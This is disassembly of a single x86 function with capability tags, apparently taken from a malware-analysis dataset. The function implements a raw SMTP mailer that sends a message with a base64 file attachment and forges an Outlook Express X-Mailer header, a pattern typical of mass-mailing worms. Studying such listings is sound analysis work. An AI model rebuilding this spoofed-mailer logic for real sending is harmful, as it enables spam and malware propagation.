Function at 0x40619a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x50c
mov ebx, 0
lea eax, [ebp - 0x428]
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_memset
lea edi, [ebp - 0x468]
cld
mov ecx, 0xc
mov eax, ebx
rep stosd dword es:[edi], eax
mov word [edi], 0
mov dword [ebp - 0x488], 0x412620
mov dword [ebp - 0x484], 0x412624
mov dword [ebp - 0x480], 0x412628
mov dword [ebp - 0x47c], 0x41262c
mov dword [ebp - 0x478], 0x412630
mov dword [ebp - 0x474], 0x412634
mov dword [ebp - 0x470], 0x412638
mov dword [ebp - 0x46c], 0x41263c
lea edi, [ebp - 0x4c8]
mov esi, 0x40d424
mov ecx, 0xd
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x4d8]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetSystemTime
sub esp, 4
movzx eax, word [ebp - 0x4cc]
mov dword [esp + 0x20], eax
movzx eax, word [ebp - 0x4ce]
mov dword [esp + 0x1c], eax
movzx eax, word [ebp - 0x4d0]
mov dword [esp + 0x18], eax
movzx eax, word [ebp - 0x4d8]
mov dword [esp + 0x14], eax
movzx eax, word [ebp - 0x4d6]
mov eax, dword [ebp + eax*4 - 0x4c8]
mov dword [esp + 0x10], eax
movzx eax, word [ebp - 0x4d2]
mov dword [esp + 0xc], eax
movzx eax, word [ebp - 0x4d4]
mov eax, dword [ebp + eax*4 - 0x488]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s___d__s__d__d:_d:_d_GMT
lea eax, [ebp - 0x468]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.DLL_socket
sub esp, 0xc
mov esi, eax
cmp eax, 0xffffffff
je 0x40672e
mov word [ebp - 0x28], 2
mov dword [esp], 0x19
call sub.WS2_32.DLL_htons
sub esp, 4
mov word [ebp - 0x26], ax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.DLL_inet_addr
sub esp, 4
mov dword [ebp - 0x24], eax
cmp eax, 0xffffffff
jne 0x40633b
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.DLL_gethostbyname
sub esp, 4
test eax, eax
je 0x40672e
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.WS2_32.DLL_connect
sub esp, 0xc
cmp eax, 0xffffffff
je 0x40672e
mov dword [esp], esi
call fcn.004067e0
test eax, eax
je 0x40672e
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.HELO__s_r_n
lea ebx, [ebp - 0x428]
mov dword [esp], ebx
call sub.USER32.dll_wsprintfA
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00406788
test eax, eax
je 0x40672e
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.MAIL_FROM:___s__r_n
mov dword [esp], ebx
call sub.USER32.dll_wsprintfA
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00406788
test eax, eax
je 0x40672e
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.RCPT_TO:___s__r_n
mov dword [esp], ebx
call sub.USER32.dll_wsprintfA
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00406788
test eax, eax
je 0x40672e
mov dword [esp + 4], str.DATA_r_n
mov dword [esp], esi
call fcn.00406788
test eax, eax
je 0x40672e
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.FROM:___s__r_n
mov dword [esp], ebx
call sub.USER32.dll_wsprintfA
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.TO:___s__r_n
mov dword [esp], ebx
call sub.USER32.dll_wsprintfA
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
lea eax, [ebp - 0x468]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Date:__s_r_n
mov dword [esp], ebx
call sub.USER32.dll_wsprintfA
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov dword [esp + 4], str.MIME_Version:_1.0_r_n
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Subject:__s_r_n
mov dword [esp], ebx
call sub.USER32.dll_wsprintfA
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov dword [esp + 4], str.X_Mailer:_Microsoft_Outlook_Express_6.00.2800.1106_r_n
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov eax, dword [ebp + 0x1c]
mov dword [esp], eax
call sub.KERNEL32.DLL_lstrlenA
sub esp, 4
test eax, eax
je 0x40669f
mov dword [esp + 4], str.Content_type:_Multipart_Mixed__boundaryxContext_r_n
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov dword [esp + 4], str._r_n__xContext_r_n
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
cmp dword [ebp + 0x24], 0
je 0x406552
mov dword [esp + 4], str.Content_type:_text_plain__charsetWindows_1251_r_n
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
jmp 0x40656a
mov dword [esp + 4], str.Content_type:_text_plain__charsetISO_8859_1_r_n
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov dword [esp + 4], str.Content_Transfer_Encoding:_8bit_r_n
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov eax, dword [ebp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str._r_n_s_r_n
lea ebx, [ebp - 0x428]
mov dword [esp], ebx
call sub.USER32.dll_wsprintfA
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov dword [esp + 4], str._r_n__xContext_r_n
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov eax, dword [ebp + 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Content_type:_Application_Octet_stream__name__s___type:unknown_r_n
mov dword [esp], ebx
call sub.USER32.dll_wsprintfA
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov eax, dword [ebp + 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Content_Disposition:_attachment__filename__s__r_n
mov dword [esp], ebx
call sub.USER32.dll_wsprintfA
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov dword [esp + 4], str.Content_Transfer_Encoding:_base64_r_n_r_n
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov dword [ebp - 0x4dc], 0
lea eax, [ebp - 0x4dc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x1c]
mov dword [esp], eax
call fcn.004017f8
mov ebx, eax
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.00406746
test eax, eax
jne 0x40667a
mov dword [esp], ebx
call sub.KERNEL32.DLL_GlobalFree
sub esp, 4
jmp 0x40672e
mov dword [esp], ebx
call sub.KERNEL32.DLL_GlobalFree
sub esp, 4
mov dword [esp + 4], str._r_n_r_n__xContext___r_n
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
jmp 0x4066f4
mov dword [esp + 4], str.Content_type:_text_plain__charsetISO_8859_1_r_n
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov dword [esp + 4], str.Content_Transfer_Encoding:_8bit_r_n
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov eax, dword [ebp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str._r_n_s_r_n
lea ebx, [ebp - 0x428]
mov dword [esp], ebx
call sub.USER32.dll_wsprintfA
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00406746
test eax, eax
je 0x40672e
mov dword [esp + 4], str._r_n._r_n
mov dword [esp], esi
call fcn.00406788
test eax, eax
je 0x40672e
mov dword [esp + 4], str.QUIT_r_n
mov dword [esp], esi
call fcn.00406788
test eax, eax
je 0x40672e
mov dword [esp], esi
call sub.WS2_32.DLL_closesocket
sub esp, 4
mov eax, 1
jmp 0x40673e
mov dword [esp], esi
call sub.WS2_32.DLL_closesocket
sub esp, 4
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret